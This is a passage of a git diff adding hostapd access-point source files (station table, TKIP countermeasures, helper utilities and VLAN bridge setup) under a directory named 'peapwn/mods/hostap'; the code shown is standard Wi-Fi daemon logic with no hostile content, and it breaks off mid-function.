ap_sa_query_timer, hapd, sta); + + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, + "association SA Query attempt %d", sta->sa_query_count); + + ieee802_11_send_sa_query_req(hapd, sta->addr, trans_id); +} + + +void ap_sta_start_sa_query(struct hostapd_data *hapd, struct sta_info *sta) +{ + ap_sa_query_timer(hapd, sta); +} + + +void ap_sta_stop_sa_query(struct hostapd_data *hapd, struct sta_info *sta) +{ + eloop_cancel_timeout(ap_sa_query_timer, hapd, sta); + os_free(sta->sa_query_trans_id); + sta->sa_query_trans_id = NULL; + sta->sa_query_count = 0; +} + +#endif /* CONFIG_IEEE80211W */ + + +void ap_sta_set_authorized(struct hostapd_data *hapd, struct sta_info *sta, + int authorized) +{ + const u8 *dev_addr = NULL; + char buf[100]; +#ifdef CONFIG_P2P + u8 addr[ETH_ALEN]; +#endif /* CONFIG_P2P */ + + if (!!authorized == !!(sta->flags & WLAN_STA_AUTHORIZED)) + return; + +#ifdef CONFIG_P2P + if (hapd->p2p_group == NULL) { + if (sta->p2p_ie != NULL && + p2p_parse_dev_addr_in_p2p_ie(sta->p2p_ie, addr) == 0) + dev_addr = addr; + } else + dev_addr = p2p_group_get_dev_addr(hapd->p2p_group, sta->addr); +#endif /* CONFIG_P2P */ + + if (dev_addr) + os_snprintf(buf, sizeof(buf), MACSTR " p2p_dev_addr=" MACSTR, + MAC2STR(sta->addr), MAC2STR(dev_addr)); + else + os_snprintf(buf, sizeof(buf), MACSTR, MAC2STR(sta->addr)); + + if (authorized) { + wpa_msg(hapd->msg_ctx, MSG_INFO, AP_STA_CONNECTED "%s", buf); + + if (hapd->msg_ctx_parent && + hapd->msg_ctx_parent != hapd->msg_ctx) + wpa_msg_no_global(hapd->msg_ctx_parent, MSG_INFO, + AP_STA_CONNECTED "%s", buf); + + sta->flags |= WLAN_STA_AUTHORIZED; + } else { + wpa_msg(hapd->msg_ctx, MSG_INFO, AP_STA_DISCONNECTED "%s", buf); + + if (hapd->msg_ctx_parent && + hapd->msg_ctx_parent != hapd->msg_ctx) + wpa_msg_no_global(hapd->msg_ctx_parent, MSG_INFO, + AP_STA_DISCONNECTED "%s", buf); + + sta->flags &= ~WLAN_STA_AUTHORIZED; + } + + if (hapd->sta_authorized_cb) + hapd->sta_authorized_cb(hapd->sta_authorized_cb_ctx, + sta->addr, authorized, dev_addr); +} + + +void ap_sta_disconnect(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *addr, u16 reason) +{ + + if (sta == NULL && addr) + sta = ap_get_sta(hapd, addr); + + if (addr) + hostapd_drv_sta_deauth(hapd, addr, reason); + + if (sta == NULL) + return; + ap_sta_set_authorized(hapd, sta, 0); + wpa_auth_sm_event(sta->wpa_sm, WPA_DEAUTH); + ieee802_1x_notify_port_enabled(sta->eapol_sm, 0); + sta->flags &= ~(WLAN_STA_AUTH | WLAN_STA_ASSOC); + wpa_printf(MSG_DEBUG, "%s: reschedule ap_handle_timer timeout " + "for " MACSTR " (%d seconds - " + "AP_MAX_INACTIVITY_AFTER_DEAUTH)", + __func__, MAC2STR(sta->addr), + AP_MAX_INACTIVITY_AFTER_DEAUTH); + eloop_cancel_timeout(ap_handle_timer, hapd, sta); + eloop_register_timeout(AP_MAX_INACTIVITY_AFTER_DEAUTH, 0, + ap_handle_timer, hapd, sta); + sta->timeout_next = STA_REMOVE; + + sta->deauth_reason = reason; + sta->flags |= WLAN_STA_PENDING_DEAUTH_CB; + eloop_cancel_timeout(ap_sta_deauth_cb_timeout, hapd, sta); + eloop_register_timeout(hapd->iface->drv_flags & + WPA_DRIVER_FLAGS_DEAUTH_TX_STATUS ? 2 : 0, 0, + ap_sta_deauth_cb_timeout, hapd, sta); +} + + +void ap_sta_deauth_cb(struct hostapd_data *hapd, struct sta_info *sta) +{ + if (!(sta->flags & WLAN_STA_PENDING_DEAUTH_CB)) { + wpa_printf(MSG_DEBUG, "Ignore deauth cb for test frame"); + return; + } + sta->flags &= ~WLAN_STA_PENDING_DEAUTH_CB; + eloop_cancel_timeout(ap_sta_deauth_cb_timeout, hapd, sta); + ap_sta_deauth_cb_timeout(hapd, sta); +} + + +void ap_sta_disassoc_cb(struct hostapd_data *hapd, struct sta_info *sta) +{ + if (!(sta->flags & WLAN_STA_PENDING_DISASSOC_CB)) { + wpa_printf(MSG_DEBUG, "Ignore disassoc cb for test frame"); + return; + } + sta->flags &= ~WLAN_STA_PENDING_DISASSOC_CB; + eloop_cancel_timeout(ap_sta_disassoc_cb_timeout, hapd, sta); + ap_sta_disassoc_cb_timeout(hapd, sta); +} diff --git a/peapwn/mods/hostap/src/ap/sta_info.h b/peapwn/mods/hostap/src/ap/sta_info.h new file mode 100644 index 000000000..dc742195b --- /dev/null +++ b/peapwn/mods/hostap/src/ap/sta_info.h @@ -0,0 +1,198 @@ +/* + * hostapd / Station table + * Copyright (c) 2002-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef STA_INFO_H +#define STA_INFO_H + +/* STA flags */ +#define WLAN_STA_AUTH BIT(0) +#define WLAN_STA_ASSOC BIT(1) +#define WLAN_STA_PS BIT(2) +#define WLAN_STA_TIM BIT(3) +#define WLAN_STA_PERM BIT(4) +#define WLAN_STA_AUTHORIZED BIT(5) +#define WLAN_STA_PENDING_POLL BIT(6) /* pending activity poll not ACKed */ +#define WLAN_STA_SHORT_PREAMBLE BIT(7) +#define WLAN_STA_PREAUTH BIT(8) +#define WLAN_STA_WMM BIT(9) +#define WLAN_STA_MFP BIT(10) +#define WLAN_STA_HT BIT(11) +#define WLAN_STA_WPS BIT(12) +#define WLAN_STA_MAYBE_WPS BIT(13) +#define WLAN_STA_WDS BIT(14) +#define WLAN_STA_ASSOC_REQ_OK BIT(15) +#define WLAN_STA_WPS2 BIT(16) +#define WLAN_STA_GAS BIT(17) +#define WLAN_STA_VHT BIT(18) +#define WLAN_STA_PENDING_DISASSOC_CB BIT(29) +#define WLAN_STA_PENDING_DEAUTH_CB BIT(30) +#define WLAN_STA_NONERP BIT(31) + +/* Maximum number of supported rates (from both Supported Rates and Extended + * Supported Rates IEs). */ +#define WLAN_SUPP_RATES_MAX 32 + + +struct sta_info { + struct sta_info *next; /* next entry in sta list */ + struct sta_info *hnext; /* next entry in hash table list */ + u8 addr[6]; + u16 aid; /* STA's unique AID (1 .. 2007) or 0 if not yet assigned */ + u32 flags; /* Bitfield of WLAN_STA_* */ + u16 capability; + u16 listen_interval; /* or beacon_int for APs */ + u8 supported_rates[WLAN_SUPP_RATES_MAX]; + int supported_rates_len; + u8 qosinfo; /* Valid when WLAN_STA_WMM is set */ + + unsigned int nonerp_set:1; + unsigned int no_short_slot_time_set:1; + unsigned int no_short_preamble_set:1; + unsigned int no_ht_gf_set:1; + unsigned int no_ht_set:1; + unsigned int ht_20mhz_set:1; + unsigned int no_p2p_set:1; + unsigned int qos_map_enabled:1; + + u16 auth_alg; + u8 previous_ap[6]; + + enum { + STA_NULLFUNC = 0, STA_DISASSOC, STA_DEAUTH, STA_REMOVE, + STA_DISASSOC_FROM_CLI + } timeout_next; + + u16 deauth_reason; + u16 disassoc_reason; + + /* IEEE 802.1X related data */ + struct eapol_state_machine *eapol_sm; + + /* IEEE 802.11f (IAPP) related data */ + struct ieee80211_mgmt *last_assoc_req; + + u32 acct_session_id_hi; + u32 acct_session_id_lo; + time_t acct_session_start; + int acct_session_started; + int acct_terminate_cause; /* Acct-Terminate-Cause */ + int acct_interim_interval; /* Acct-Interim-Interval */ + + unsigned long last_rx_bytes; + unsigned long last_tx_bytes; + u32 acct_input_gigawords; /* Acct-Input-Gigawords */ + u32 acct_output_gigawords; /* Acct-Output-Gigawords */ + + u8 *challenge; /* IEEE 802.11 Shared Key Authentication Challenge */ + + struct wpa_state_machine *wpa_sm; + struct rsn_preauth_interface *preauth_iface; + + struct hostapd_ssid *ssid; /* SSID selection based on (Re)AssocReq */ + struct hostapd_ssid *ssid_probe; /* SSID selection based on ProbeReq */ + + int vlan_id; + /* PSKs from RADIUS authentication server */ + struct hostapd_sta_wpa_psk_short *psk; + + char *identity; /* User-Name from RADIUS */ + char *radius_cui; /* Chargeable-User-Identity from RADIUS */ + + struct ieee80211_ht_capabilities *ht_capabilities; + struct ieee80211_vht_capabilities *vht_capabilities; + +#ifdef CONFIG_IEEE80211W + int sa_query_count; /* number of pending SA Query requests; + * 0 = no SA Query in progress */ + int sa_query_timed_out; + u8 *sa_query_trans_id; /* buffer of WLAN_SA_QUERY_TR_ID_LEN * + * sa_query_count octets of pending SA Query + * transaction identifiers */ + struct os_time sa_query_start; +#endif /* CONFIG_IEEE80211W */ + +#ifdef CONFIG_INTERWORKING +#define GAS_DIALOG_MAX 8 /* Max concurrent dialog number */ + struct gas_dialog_info *gas_dialog; + u8 gas_dialog_next; +#endif /* CONFIG_INTERWORKING */ + + struct wpabuf *wps_ie; /* WPS IE from (Re)Association Request */ + struct wpabuf *p2p_ie; /* P2P IE from (Re)Association Request */ + struct wpabuf *hs20_ie; /* HS 2.0 IE from (Re)Association Request */ + + struct os_time connected_time; + +#ifdef CONFIG_SAE + struct sae_data *sae; +#endif /* CONFIG_SAE */ +}; + + +/* Default value for maximum station inactivity. After AP_MAX_INACTIVITY has + * passed since last received frame from the station, a nullfunc data frame is + * sent to the station. If this frame is not acknowledged and no other frames + * have been received, the station will be disassociated after + * AP_DISASSOC_DELAY seconds. Similarly, the station will be deauthenticated + * after AP_DEAUTH_DELAY seconds has passed after disassociation. */ +#define AP_MAX_INACTIVITY (5 * 60) +#define AP_DISASSOC_DELAY (1) +#define AP_DEAUTH_DELAY (1) +/* Number of seconds to keep STA entry with Authenticated flag after it has + * been disassociated. */ +#define AP_MAX_INACTIVITY_AFTER_DISASSOC (1 * 30) +/* Number of seconds to keep STA entry after it has been deauthenticated. */ +#define AP_MAX_INACTIVITY_AFTER_DEAUTH (1 * 5) + + +struct hostapd_data; + +int ap_for_each_sta(struct hostapd_data *hapd, + int (*cb)(struct hostapd_data *hapd, struct sta_info *sta, + void *ctx), + void *ctx); +struct sta_info * ap_get_sta(struct hostapd_data *hapd, const u8 *sta); +struct sta_info * ap_get_sta_p2p(struct hostapd_data *hapd, const u8 *addr); +void ap_sta_hash_add(struct hostapd_data *hapd, struct sta_info *sta); +void ap_free_sta(struct hostapd_data *hapd, struct sta_info *sta); +void hostapd_free_stas(struct hostapd_data *hapd); +void ap_handle_timer(void *eloop_ctx, void *timeout_ctx); +void ap_sta_replenish_timeout(struct hostapd_data *hapd, struct sta_info *sta, + u32 session_timeout); +void ap_sta_session_timeout(struct hostapd_data *hapd, struct sta_info *sta, + u32 session_timeout); +void ap_sta_no_session_timeout(struct hostapd_data *hapd, + struct sta_info *sta); +struct sta_info * ap_sta_add(struct hostapd_data *hapd, const u8 *addr); +void ap_sta_disassociate(struct hostapd_data *hapd, struct sta_info *sta, + u16 reason); +void ap_sta_deauthenticate(struct hostapd_data *hapd, struct sta_info *sta, + u16 reason); +#ifdef CONFIG_WPS +int ap_sta_wps_cancel(struct hostapd_data *hapd, + struct sta_info *sta, void *ctx); +#endif /* CONFIG_WPS */ +int ap_sta_bind_vlan(struct hostapd_data *hapd, struct sta_info *sta, + int old_vlanid); +void ap_sta_start_sa_query(struct hostapd_data *hapd, struct sta_info *sta); +void ap_sta_stop_sa_query(struct hostapd_data *hapd, struct sta_info *sta); +int ap_check_sa_query_timeout(struct hostapd_data *hapd, struct sta_info *sta); +void ap_sta_disconnect(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *addr, u16 reason); + +void ap_sta_set_authorized(struct hostapd_data *hapd, + struct sta_info *sta, int authorized); +static inline int ap_sta_is_authorized(struct sta_info *sta) +{ + return sta->flags & WLAN_STA_AUTHORIZED; +} + +void ap_sta_deauth_cb(struct hostapd_data *hapd, struct sta_info *sta); +void ap_sta_disassoc_cb(struct hostapd_data *hapd, struct sta_info *sta); + +#endif /* STA_INFO_H */ diff --git a/peapwn/mods/hostap/src/ap/tkip_countermeasures.c b/peapwn/mods/hostap/src/ap/tkip_countermeasures.c new file mode 100644 index 000000000..4a2ea0665 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/tkip_countermeasures.c @@ -0,0 +1,105 @@ +/* + * hostapd / TKIP countermeasures + * Copyright (c) 2002-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "utils/eloop.h" +#include "common/ieee802_11_defs.h" +#include "radius/radius.h" +#include "hostapd.h" +#include "sta_info.h" +#include "ap_mlme.h" +#include "wpa_auth.h" +#include "ap_drv_ops.h" +#include "tkip_countermeasures.h" + + +static void ieee80211_tkip_countermeasures_stop(void *eloop_ctx, + void *timeout_ctx) +{ + struct hostapd_data *hapd = eloop_ctx; + hapd->tkip_countermeasures = 0; + hostapd_drv_set_countermeasures(hapd, 0); + hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "TKIP countermeasures ended"); +} + + +static void ieee80211_tkip_countermeasures_start(struct hostapd_data *hapd) +{ + struct sta_info *sta; + + hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "TKIP countermeasures initiated"); + + wpa_auth_countermeasures_start(hapd->wpa_auth); + hapd->tkip_countermeasures = 1; + hostapd_drv_set_countermeasures(hapd, 1); + wpa_gtk_rekey(hapd->wpa_auth); + eloop_cancel_timeout(ieee80211_tkip_countermeasures_stop, hapd, NULL); + eloop_register_timeout(60, 0, ieee80211_tkip_countermeasures_stop, + hapd, NULL); + while ((sta = hapd->sta_list)) { + sta->acct_terminate_cause = + RADIUS_ACCT_TERMINATE_CAUSE_ADMIN_RESET; + if (sta->flags & WLAN_STA_AUTH) { + mlme_deauthenticate_indication( + hapd, sta, + WLAN_REASON_MICHAEL_MIC_FAILURE); + } + hostapd_drv_sta_deauth(hapd, sta->addr, + WLAN_REASON_MICHAEL_MIC_FAILURE); + ap_free_sta(hapd, sta); + } +} + + +void ieee80211_tkip_countermeasures_deinit(struct hostapd_data *hapd) +{ + eloop_cancel_timeout(ieee80211_tkip_countermeasures_stop, hapd, NULL); +} + + +int michael_mic_failure(struct hostapd_data *hapd, const u8 *addr, int local) +{ + struct os_time now; + int ret = 0; + + if (addr && local) { + struct sta_info *sta = ap_get_sta(hapd, addr); + if (sta != NULL) { + wpa_auth_sta_local_mic_failure_report(sta->wpa_sm); + hostapd_logger(hapd, addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, + "Michael MIC failure detected in " + "received frame"); + mlme_michaelmicfailure_indication(hapd, addr); + } else { + wpa_printf(MSG_DEBUG, + "MLME-MICHAELMICFAILURE.indication " + "for not associated STA (" MACSTR + ") ignored", MAC2STR(addr)); + return ret; + } + } + + os_get_time(&now); + if (now.sec > hapd->michael_mic_failure + 60) { + hapd->michael_mic_failures = 1; + } else { + hapd->michael_mic_failures++; + if (hapd->michael_mic_failures > 1) { + ieee80211_tkip_countermeasures_start(hapd); + ret = 1; + } + } + hapd->michael_mic_failure = now.sec; + + return ret; +} diff --git a/peapwn/mods/hostap/src/ap/tkip_countermeasures.h b/peapwn/mods/hostap/src/ap/tkip_countermeasures.h new file mode 100644 index 000000000..d3eaed3cf --- /dev/null +++ b/peapwn/mods/hostap/src/ap/tkip_countermeasures.h @@ -0,0 +1,15 @@ +/* + * hostapd / TKIP countermeasures + * Copyright (c) 2002-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef TKIP_COUNTERMEASURES_H +#define TKIP_COUNTERMEASURES_H + +int michael_mic_failure(struct hostapd_data *hapd, const u8 *addr, int local); +void ieee80211_tkip_countermeasures_deinit(struct hostapd_data *hapd); + +#endif /* TKIP_COUNTERMEASURES_H */ diff --git a/peapwn/mods/hostap/src/ap/utils.c b/peapwn/mods/hostap/src/ap/utils.c new file mode 100644 index 000000000..931968c84 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/utils.c @@ -0,0 +1,85 @@ +/* + * AP mode helper functions + * Copyright (c) 2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "common/ieee802_11_defs.h" +#include "sta_info.h" +#include "hostapd.h" + + +int hostapd_register_probereq_cb(struct hostapd_data *hapd, + int (*cb)(void *ctx, const u8 *sa, + const u8 *da, const u8 *bssid, + const u8 *ie, size_t ie_len, + int ssi_signal), + void *ctx) +{ + struct hostapd_probereq_cb *n; + + n = os_realloc_array(hapd->probereq_cb, hapd->num_probereq_cb + 1, + sizeof(struct hostapd_probereq_cb)); + if (n == NULL) + return -1; + + hapd->probereq_cb = n; + n = &hapd->probereq_cb[hapd->num_probereq_cb]; + hapd->num_probereq_cb++; + + n->cb = cb; + n->ctx = ctx; + + return 0; +} + + +struct prune_data { + struct hostapd_data *hapd; + const u8 *addr; +}; + +static int prune_associations(struct hostapd_iface *iface, void *ctx) +{ + struct prune_data *data = ctx; + struct sta_info *osta; + struct hostapd_data *ohapd; + size_t j; + + for (j = 0; j < iface->num_bss; j++) { + ohapd = iface->bss[j]; + if (ohapd == data->hapd) + continue; + osta = ap_get_sta(ohapd, data->addr); + if (!osta) + continue; + + ap_sta_disassociate(ohapd, osta, WLAN_REASON_UNSPECIFIED); + } + + return 0; +} + +/** + * hostapd_prune_associations - Remove extraneous associations + * @hapd: Pointer to BSS data for the most recent association + * @addr: Associated STA address + * + * This function looks through all radios and BSS's for previous + * (stale) associations of STA. If any are found they are removed. + */ +void hostapd_prune_associations(struct hostapd_data *hapd, const u8 *addr) +{ + struct prune_data data; + data.hapd = hapd; + data.addr = addr; + if (hapd->iface->interfaces && + hapd->iface->interfaces->for_each_interface) + hapd->iface->interfaces->for_each_interface( + hapd->iface->interfaces, prune_associations, &data); +} diff --git a/peapwn/mods/hostap/src/ap/vlan_init.c b/peapwn/mods/hostap/src/ap/vlan_init.c new file mode 100644 index 000000000..1afbb8ec9 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/vlan_init.c @@ -0,0 +1,1106 @@ +/* + * hostapd / VLAN initialization + * Copyright 2003, Instant802 Networks, Inc. + * Copyright 2005-2006, Devicescape Software, Inc. + * Copyright (c) 2009, Jouni Malinen + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * Alternatively, this software may be distributed under the terms of BSD + * license. + * + * See README and COPYING for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "hostapd.h" +#include "ap_config.h" +#include "ap_drv_ops.h" +#include "vlan_init.h" +#include "vlan_util.h" + + +#ifdef CONFIG_FULL_DYNAMIC_VLAN + +#include +#include +#include +#include +#include + +#include "drivers/priv_netlink.h" +#include "utils/eloop.h" + + +struct full_dynamic_vlan { + int s; /* socket on which to listen for new/removed interfaces. */ +}; + + +static int ifconfig_helper(const char *if_name, int up) +{ + int fd; + struct ifreq ifr; + + if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " + "failed: %s", __func__, strerror(errno)); + return -1; + } + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, if_name, IFNAMSIZ); + + if (ioctl(fd, SIOCGIFFLAGS, &ifr) != 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: ioctl(SIOCGIFFLAGS) failed " + "for interface %s: %s", + __func__, if_name, strerror(errno)); + close(fd); + return -1; + } + + if (up) + ifr.ifr_flags |= IFF_UP; + else + ifr.ifr_flags &= ~IFF_UP; + + if (ioctl(fd, SIOCSIFFLAGS, &ifr) != 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: ioctl(SIOCSIFFLAGS) failed " + "for interface %s (up=%d): %s", + __func__, if_name, up, strerror(errno)); + close(fd); + return -1; + } + + close(fd); + return 0; +} + + +static int ifconfig_up(const char *if_name) +{ + wpa_printf(MSG_DEBUG, "VLAN: Set interface %s up", if_name); + return ifconfig_helper(if_name, 1); +} + + +static int ifconfig_down(const char *if_name) +{ + wpa_printf(MSG_DEBUG, "VLAN: Set interface %s down", if_name); + return ifconfig_helper(if_name, 0); +} + + +/* + * These are only available in recent linux headers (without the leading + * underscore). + */ +#define _GET_VLAN_REALDEV_NAME_CMD 8 +#define _GET_VLAN_VID_CMD 9 + +/* This value should be 256 ONLY. If it is something else, then hostapd + * might crash!, as this value has been hard-coded in 2.4.x kernel + * bridging code. + */ +#define MAX_BR_PORTS 256 + +static int br_delif(const char *br_name, const char *if_name) +{ + int fd; + struct ifreq ifr; + unsigned long args[2]; + int if_index; + + wpa_printf(MSG_DEBUG, "VLAN: br_delif(%s, %s)", br_name, if_name); + if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " + "failed: %s", __func__, strerror(errno)); + return -1; + } + + if_index = if_nametoindex(if_name); + + if (if_index == 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: Failure determining " + "interface index for '%s'", + __func__, if_name); + close(fd); + return -1; + } + + args[0] = BRCTL_DEL_IF; + args[1] = if_index; + + os_strlcpy(ifr.ifr_name, br_name, sizeof(ifr.ifr_name)); + ifr.ifr_data = (__caddr_t) args; + + if (ioctl(fd, SIOCDEVPRIVATE, &ifr) < 0 && errno != EINVAL) { + /* No error if interface already removed. */ + wpa_printf(MSG_ERROR, "VLAN: %s: ioctl[SIOCDEVPRIVATE," + "BRCTL_DEL_IF] failed for br_name=%s if_name=%s: " + "%s", __func__, br_name, if_name, strerror(errno)); + close(fd); + return -1; + } + + close(fd); + return 0; +} + + +/* + Add interface 'if_name' to the bridge 'br_name' + + returns -1 on error + returns 1 if the interface is already part of the bridge + returns 0 otherwise +*/ +static int br_addif(const char *br_name, const char *if_name) +{ + int fd; + struct ifreq ifr; + unsigned long args[2]; + int if_index; + + wpa_printf(MSG_DEBUG, "VLAN: br_addif(%s, %s)", br_name, if_name); + if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " + "failed: %s", __func__, strerror(errno)); + return -1; + } + + if_index = if_nametoindex(if_name); + + if (if_index == 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: Failure determining " + "interface index for '%s'", + __func__, if_name); + close(fd); + return -1; + } + + args[0] = BRCTL_ADD_IF; + args[1] = if_index; + + os_strlcpy(ifr.ifr_name, br_name, sizeof(ifr.ifr_name)); + ifr.ifr_data = (__caddr_t) args; + + if (ioctl(fd, SIOCDEVPRIVATE, &ifr) < 0) { + if (errno == EBUSY) { + /* The interface is already added. */ + close(fd); + return 1; + } + + wpa_printf(MSG_ERROR, "VLAN: %s: ioctl[SIOCDEVPRIVATE," + "BRCTL_ADD_IF] failed for br_name=%s if_name=%s: " + "%s", __func__, br_name, if_name, strerror(errno)); + close(fd); + return -1; + } + + close(fd); + return 0; +} + + +static int br_delbr(const char *br_name) +{ + int fd; + unsigned long arg[2]; + + wpa_printf(MSG_DEBUG, "VLAN: br_delbr(%s)", br_name); + if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " + "failed: %s", __func__, strerror(errno)); + return -1; + } + + arg[0] = BRCTL_DEL_BRIDGE; + arg[1] = (unsigned long) br_name; + + if (ioctl(fd, SIOCGIFBR, arg) < 0 && errno != ENXIO) { + /* No error if bridge already removed. */ + wpa_printf(MSG_ERROR, "VLAN: %s: BRCTL_DEL_BRIDGE failed for " + "%s: %s", __func__, br_name, strerror(errno)); + close(fd); + return -1; + } + + close(fd); + return 0; +} + + +/* + Add a bridge with the name 'br_name'. + + returns -1 on error + returns 1 if the bridge already exists + returns 0 otherwise +*/ +static int br_addbr(const char *br_name) +{ + int fd; + unsigned long arg[4]; + struct ifreq ifr; + + wpa_printf(MSG_DEBUG, "VLAN: br_addbr(%s)", br_name); + if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " + "failed: %s", __func__, strerror(errno)); + return -1; + } + + arg[0] = BRCTL_ADD_BRIDGE; + arg[1] = (unsigned long) br_name; + + if (ioctl(fd, SIOCGIFBR, arg) < 0) { + if (errno == EEXIST) { + /* The bridge is already added. */ + close(fd); + return 1; + } else { + wpa_printf(MSG_ERROR, "VLAN: %s: BRCTL_ADD_BRIDGE " + "failed for %s: %s", + __func__, br_name, strerror(errno)); + close(fd); + return -1; + } + } + + /* Decrease forwarding delay to avoid EAPOL timeouts. */ + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, br_name, IFNAMSIZ); + arg[0] = BRCTL_SET_BRIDGE_FORWARD_DELAY; + arg[1] = 1; + arg[2] = 0; + arg[3] = 0; + ifr.ifr_data = (char *) &arg; + if (ioctl(fd, SIOCDEVPRIVATE, &ifr) < 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: " + "BRCTL_SET_BRIDGE_FORWARD_DELAY (1 sec) failed for " + "%s: %s", __func__, br_name, strerror(errno)); + /* Continue anyway */ + } + + close(fd); + return 0; +} + + +static int br_getnumports(const char *br_name) +{ + int fd; + int i; + int port_cnt = 0; + unsigned long arg[4]; + int ifindices[MAX_BR_PORTS]; + struct ifreq ifr; + + if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " + "failed: %s", __func__, strerror(errno)); + return -1; + } + + arg[0] = BRCTL_GET_PORT_LIST; + arg[1] = (unsigned long) ifindices; + arg[2] = MAX_BR_PORTS; + arg[3] = 0; + + os_memset(ifindices, 0, sizeof(ifindices)); + os_strlcpy(ifr.ifr_name, br_name, sizeof(ifr.ifr_name)); + ifr.ifr_data = (__caddr_t) arg; + + if (ioctl(fd, SIOCDEVPRIVATE, &ifr) < 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: BRCTL_GET_PORT_LIST " + "failed for %s: %s", + __func__, br_name, strerror(errno)); + close(fd); + return -1; + } + + for (i = 1; i < MAX_BR_PORTS; i++) { + if (ifindices[i] > 0) { + port_cnt++; + } + } + + close(fd); + return port_cnt; +} + + +#ifndef CONFIG_VLAN_NETLINK + +int vlan_rem(const char *if_name) +{ + int fd; + struct vlan_ioctl_args if_request; + + wpa_printf(MSG_DEBUG, "VLAN: vlan_rem(%s)", if_name); + if ((os_strlen(if_name) + 1) > sizeof(if_request.device1)) { + wpa_printf(MSG_ERROR, "VLAN: Interface name too long: '%s'", + if_name); + return -1; + } + + if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " + "failed: %s", __func__, strerror(errno)); + return -1; + } + + os_memset(&if_request, 0, sizeof(if_request)); + + os_strlcpy(if_request.device1, if_name, sizeof(if_request.device1)); + if_request.cmd = DEL_VLAN_CMD; + + if (ioctl(fd, SIOCSIFVLAN, &if_request) < 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: DEL_VLAN_CMD failed for %s: " + "%s", __func__, if_name, strerror(errno)); + close(fd); + return -1; + } + + close(fd); + return 0; +} + + +/* + Add a vlan interface with VLAN ID 'vid' and tagged interface + 'if_name'. + + returns -1 on error + returns 1 if the interface already exists + returns 0 otherwise +*/ +int vlan_add(const char *if_name, int vid, const char *vlan_if_name) +{ + int fd; + struct vlan_ioctl_args if_request; + + wpa_printf(MSG_DEBUG, "VLAN: vlan_add(if_name=%s, vid=%d)", + if_name, vid); + ifconfig_up(if_name); + + if ((os_strlen(if_name) + 1) > sizeof(if_request.device1)) { + wpa_printf(MSG_ERROR, "VLAN: Interface name too long: '%s'", + if_name); + return -1; + } + + if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " + "failed: %s", __func__, strerror(errno)); + return -1; + } + + os_memset(&if_request, 0, sizeof(if_request)); + + /* Determine if a suitable vlan device already exists. */ + + os_snprintf(if_request.device1, sizeof(if_request.device1), "vlan%d", + vid); + + if_request.cmd = _GET_VLAN_VID_CMD; + + if (ioctl(fd, SIOCSIFVLAN, &if_request) == 0) { + + if (if_request.u.VID == vid) { + if_request.cmd = _GET_VLAN_REALDEV_NAME_CMD; + + if (ioctl(fd, SIOCSIFVLAN, &if_request) == 0 && + os_strncmp(if_request.u.device2, if_name, + sizeof(if_request.u.device2)) == 0) { + close(fd); + wpa_printf(MSG_DEBUG, "VLAN: vlan_add: " + "if_name %s exists already", + if_request.device1); + return 1; + } + } + } + + /* A suitable vlan device does not already exist, add one. */ + + os_memset(&if_request, 0, sizeof(if_request)); + os_strlcpy(if_request.device1, if_name, sizeof(if_request.device1)); + if_request.u.VID = vid; + if_request.cmd = ADD_VLAN_CMD; + + if (ioctl(fd, SIOCSIFVLAN, &if_request) < 0) { + wpa_printf(MSG_ERROR, "VLAN: %s: ADD_VLAN_CMD failed for %s: " + "%s", + __func__, if_request.device1, strerror(errno)); + close(fd); + return -1; + } + + close(fd); + return 0; +} + + +static int vlan_set_name_type(unsigned int name_type) +{ + int fd; + struct vlan_ioctl_args if_request; + + wpa_printf(MSG_DEBUG, "VLAN: vlan_set_name_type(name_type=%u)", + name_type); + if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 